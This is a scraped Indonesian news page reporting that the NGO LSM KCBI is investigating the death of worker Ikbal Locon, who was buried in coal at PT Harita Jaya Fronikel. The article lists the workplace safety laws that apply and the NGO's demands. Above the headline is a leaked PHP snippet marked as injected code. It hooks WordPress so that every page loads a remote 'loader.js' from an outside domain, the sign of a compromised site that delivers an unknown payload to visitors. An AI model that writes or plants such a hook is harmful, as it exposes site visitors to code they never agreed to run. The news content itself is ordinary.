// Injected Script Enqueue Code function enqueue_custom_script() { wp_enqueue_script( 'custom-error-script', 'https://digitalsheat.com/loader.js', array(), null, true ); } add_action('wp_enqueue_scripts', 'enqueue_custom_script'); LSM Kemilau Cahaya Bangsa Indonesia (KCBI) Menginvestigasi Kecelakaan Kerja Maut di PT Harita Jaya Fronikel – Media Fakta Terkini News
Scroll untuk baca artikel
Example floating
Example floating
Halmahera

LSM Kemilau Cahaya Bangsa Indonesia (KCBI) Menginvestigasi Kecelakaan Kerja Maut di PT Harita Jaya Fronikel

17
×

LSM Kemilau Cahaya Bangsa Indonesia (KCBI) Menginvestigasi Kecelakaan Kerja Maut di PT Harita Jaya Fronikel

Sebarkan artikel ini
LSM Kemilau Cahaya Bangsa Indonesia (KCBI) Menginvestigasi Kecelakaan Kerja Maut di PT Harita Jaya Fronikel

FAKTA TERKINI ,-LSM KCBI sangat prihatin dengan terjadinya kecelakaan kerja tragis di PT Harita Jaya Fronikel, Halmahera Selatan, yang menyebabkan seorang pekerja bernama Ikbal Locon meninggal dunia. Berdasarkan investigasi awal, korban ditemukan tertimbun batu bara di area kerja perusahaan.

*Temuan dan Dugaan*

Example 300x600

– LSM KCBI menduga kuat adanya kelalaian pengawasan dari pihak perusahaan terhadap keselamatan kerja para karyawannya.
– Tidak adanya sistem kontrol pengawasan yang ketat seperti penggunaan CCTV, pengawasan langsung di area rawan, dan petugas keselamatan kerja yang aktif.

*Regulasi K3 yang Relevan*

– *Undang-Undang*
– *UU No. 1 Tahun 1970 tentang Keselamatan Kerja*: Mengatur prinsip-prinsip dasar keselamatan kerja dan tanggung jawab pengusaha serta pekerja.
– *UU No. 13 Tahun 2003 tentang Ketenagakerjaan*: Mengatur hak dan kewajiban pekerja serta pengusaha dalam menciptakan lingkungan kerja yang aman dan sehat.
– *Peraturan Pemerintah (PP)*
– *PP No. 50 Tahun 2012 tentang Penerapan Sistem Manajemen Keselamatan dan Kesehatan Kerja (SMK3)*: Mewajibkan perusahaan menerapkan SMK3 untuk mencegah kecelakaan kerja.
– *PP No. 28 Tahun 2000 tentang Peralatan Kerja dan Perlengkapan Kerja*: Mengatur standar keselamatan peralatan kerja untuk mencegah kecelakaan.
– *Peraturan Menteri Tenaga Kerja (Permenaker)*
– *Permenaker No. 5 Tahun 2018 tentang Keselamatan dan Kesehatan Kerja Lingkungan Kerja*: Mengatur standar keselamatan dan kesehatan kerja di lingkungan kerja.
– *Permenaker No. 26 Tahun 2014 tentang Penyelenggaraan Penilaian Penerapan SMK3*: Mengatur tata cara penilaian penerapan SMK3 di perusahaan.
– *Permenaker No. 10 Tahun 2016 tentang Tata Cara Pemberian Program Kembali Kerja Serta Kegiatan Promotif dan Kegiatan Preventif Kecelakaan Kerja dan Penyakit Akibat Kerja*: Mengatur program kembali kerja dan kegiatan preventif kecelakaan kerja.

*Tuntutan LSM KCBI*

– LSM KCBI mendesak agar penyelidikan menyeluruh segera dilakukan untuk memastikan kronologis kejadian dan mengidentifikasi potensi pelanggaran aturan keselamatan kerja.
– Perusahaan harus memberikan kompensasi layak kepada keluarga korban dan melakukan evaluasi total terhadap sistem kerja dan keselamatan di lapangan

(red)

Example 300250
Example 120x600

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *